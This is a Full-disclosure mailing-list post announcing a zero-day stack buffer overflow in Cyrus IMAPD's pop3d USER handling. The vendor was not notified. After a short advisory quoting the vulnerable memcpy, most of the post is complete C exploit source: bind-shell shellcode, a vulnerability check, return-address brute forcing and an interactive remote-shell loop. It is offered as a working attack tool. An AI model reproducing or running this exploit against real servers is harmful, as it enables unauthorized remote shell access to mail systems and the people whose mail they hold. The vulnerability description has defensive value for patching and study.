[Full-disclosure] Cyrus IMAPD pop3d remote compromise aka cyrusFUCK3d

Shouts to blackzero, alex, wY!, revoguard, bogus, wtfomg and all those
yankees
LOVE TO LISA :-)
genuine advisory by kcope/zeroday discovered by kcope!!! kingcope[at]gmx.net
public disclosure 21. May 2006
vendor was not notified (mail quota exceeded???) fuck it
let's get to business

Cyrus-imapd pop3d Remote Stack Based Buffer Overrun

Description
There is a trivially remotely exploitable Buffer Overrun in
Cyrus-imapd's pop3d.
The issue is not present in the default install, Cyrus-imapd has to have the
popsubfolders set to 1 in imapd.conf.
From the manpage:
popsubfolders: 1
Allow access to subfolders of INBOX via POP3 by using userid+subfolder
syntax as the authentication/authorization id.

When popsubfolders is set one can overflow a stack buffer by sending an
overly long
USER command argument to the remote pop3d.

in cyrus-imapd-2.3.2/imap/pop3d.c
pop3d_canon_user is called every time a USER command is supplied to the
pop3 server
with ulen=0;
look specifically at the
char userbuf[MAX_MAILBOX_NAME+1], *p;
…
if (!ulen) ulen = strlen(user);
…
memcpy(userbuf, user, ulen);
userbuf[ulen] = '\0';

memcpy will overflow the userbuf buffer, if the user is above
MAX_MAILBOX_NAME+1,
no length check is done in this routine.

— snip —
static int popd_canon_user(sasl_conn_t *conn, void *context,
const char *user, unsigned ulen,
unsigned flags, const char *user_realm,
char *out, unsigned out_max, unsigned *out_ulen)
{
char userbuf[MAX_MAILBOX_NAME+1], *p;
size_t n;
int r;

if (!ulen) ulen = strlen(user);

if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
/* make a working copy of the auth[z]id */
memcpy(userbuf, user, ulen);
userbuf[ulen] = '\0';
user = userbuf;

/* See if we're trying to access a subfolder */
if ((p = strchr(userbuf, '+'))) {
    n = config_virtdomains ? strcspn(p, "@") : strlen(p);

    if (flags & SASL_CU_AUTHZID) {
    /* make a copy of the subfolder */
    if (popd_subfolder) free(popd_subfolder);
    popd_subfolder = xstrndup(p, n);
    }

    /* strip the subfolder from the auth[z]id */
    memmove(p, p+n, strlen(p+n)+1);
    ulen -= n;
}
}

r = mysasl_canon_user(conn, context, user, ulen, flags, user_realm,
          out, out_max, out_ulen);

if (!r && popd_subfolder && flags == SASL_CU_AUTHZID) {
/* If we're only doing the authzid, put back the subfolder
   in case its used in the challenge/response calculation */
n = strlen(popd_subfolder);
if (*out_ulen + n > out_max) {
    sasl_seterror(conn, 0, "buffer overflow while canonicalizing");
    r = SASL_BUFOVER;
}
else {
    p = (config_virtdomains && (p = strchr(out, '@'))) ?
    p : out + *out_ulen;
    memmove(p+n, p, strlen(p)+1);
    memcpy(p, popd_subfolder, n);
    *out_ulen += n;
}
}

return r;

}
— snip —

Attached is a working zeroday exploit for the mentioned vulnerability.
It brute forces the stack offset to spawn a uid/gid cyrus shell.
Maybe it needs a bit of tweaking to exploit cyrus servers in the wild,
since it was only tested locally on a debian install.
No further attempts to gain uid/gid root where done… maybe setreuid in
shellcode?

/* zeroday warez

• !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!

---

• cyruspop3d.c - cyrus pop3d remote exploit by kcope
• tested on cyrus-imapd-2.3.2,linux
• bug found 23 Apr 2006 by kcope
  *--------------------------------------------
• imapd/pop3d.c line 1830 :
• char userbuf[MAX_MAILBOX_NAME+1], *p;
• …
• if (!ulen) ulen = strlen(user);
• if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
• memcpy(userbuf, user, ulen);
• userbuf[ulen] = '\0';
• …
• popsubfolders has to be enabled
• thnx to blackzero revoguard wY! qobaiashi bogus alex
• Love to Lisa :-)

---

• !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!
  */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>

#define POP3PORT 110
#define BINDPORT 13370

unsigned char shellcode[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";

int do_connect (char *remotehost, int port)
{
static struct hostent *host;
static struct sockaddr_in addr;
static int done=0;
int s;

if (!inet_aton(remotehost, &addr.sin_addr) && (done != 1))
{
    host = gethostbyname(remotehost);
    if (!host)
    {
        perror("gethostbyname() failed");
        return -1;
    }
    addr.sin_addr = *(struct in_addr*)host->h_addr;
}    

s = socket(PF_INET, SOCK_STREAM, 0);
if (s == -1)
{
    close(s);
    perror("socket() failed");
    return -1;
}    

addr.sin_port = htons(port);
addr.sin_family = AF_INET;

if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
    close(s);
    if (port == POP3PORT) perror("connect() failed");
    return -1;
}    

done=1;
return s;

}

void do_exploit(int sock, unsigned int returnaddr)
{
char nops[360];
char nops2[100];
char exploitbuffer[1024];
char recvbuf[30];

memset(&nops[0], '\0', sizeof(nops));
memset(&nops[0], 'A', 352);
memset(&nops2[0], '\0', sizeof(nops2));
memset(&nops2[0], 'A', 90);

while (1) {
    recv(sock, recvbuf, 1, 0);
    if ((recvbuf[0] == '\r') || (recvbuf[0] == '\n')) break;
}    

sprintf(exploitbuffer, "USER %s%s%s\r\n", nops, shellcode, nops2);

exploitbuffer[strlen(exploitbuffer)-1] = (returnaddr >> 24) & 0xff;
exploitbuffer[strlen(exploitbuffer)-2] = (returnaddr >> 16) & 0xff;
exploitbuffer[strlen(exploitbuffer)-3] = (returnaddr >> 8) & 0xff;
exploitbuffer[strlen(exploitbuffer)-4] = (returnaddr) & 0xff;

send(sock, exploitbuffer, strlen(exploitbuffer), 0);
recv(sock, recvbuf, sizeof(recvbuf)-1, 0);

}

int do_checkvulnerable(int sock) {
char checkbuffer[1024];
char recvbuffer[10];

memset(&checkbuffer[0], '\0', sizeof(checkbuffer)-1);
memset(&checkbuffer[0], 'A', sizeof(checkbuffer)-2);
checkbuffer[0]='U';
checkbuffer[1]='S';
checkbuffer[2]='E';
checkbuffer[3]='R';
checkbuffer[4]=' ';
checkbuffer[sizeof(checkbuffer)-3]='\r';
checkbuffer[sizeof(checkbuffer)-2]='\n';

while (1) {
    recv(sock, recvbuffer, 1, 0);
    if ((recvbuffer[0] == '\r') || (recvbuffer[0] == '\n')) break;
}

send(sock, checkbuffer, strlen(checkbuffer), 0);
    
if (recv(sock, recvbuffer, sizeof(recvbuffer)-1, MSG_WAITALL) < 3)
    return 0;

return -1;

}

int do_remote_shell(int sockfd)
{
while(1)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sockfd,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
{
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds))
{
if((cnt=read(0,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
if((cnt=read(sockfd,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(1,buf,cnt);
}
}
}
}

int main(int argc, char **argv)
{
char remotehost[255];
int s,s2,i;
unsigned int returnaddr;

printf("cyrus pop3d remote exploit [kcope/2006]\n");

if (argc < 3) {
    printf("usage: %s <remote host> <brute force start return 

address>\n", argv[0]);
printf("eg: %s localhost bfffa000\n", argv[0]);
return 1;
}

strcpy(remotehost, argv[1]); //uhoho
if (sscanf(argv[2], "%8x", &returnaddr) == 0) {
    printf("Specify valid start return address\n");
    return 1;
}

printf("Checking if vulnerable... ");
s=do_connect(remotehost, POP3PORT);
if (do_checkvulnerable(s) == -1) {
    close(s);    
    printf("\ncyrus pop3d seems not to be vulnerable\nno 

popsubfolders defined at remote host?\n");
return 1;
}
close(s);
printf("SUCCESS!\n");

while (returnaddr < 0xbfffffff) {
    returnaddr+=16;

    printf("CRACKADDR = %4x\n", returnaddr);
    fflush(stdout);
    s=do_connect(remotehost, POP3PORT);
    if (s==-1)
        return 1;

    do_exploit(s, returnaddr);
    for (i=0;i<2;i++) {
        if ((s2=do_connect(remotehost, BINDPORT)) != -1) {
            printf("\nALEX,ALEX WE GOT IT!!!\n");
            do_remote_shell(s2);
            return 0;
        }
        close(s2);
    }
    
    close(s);
}
        
return 0;

}

---

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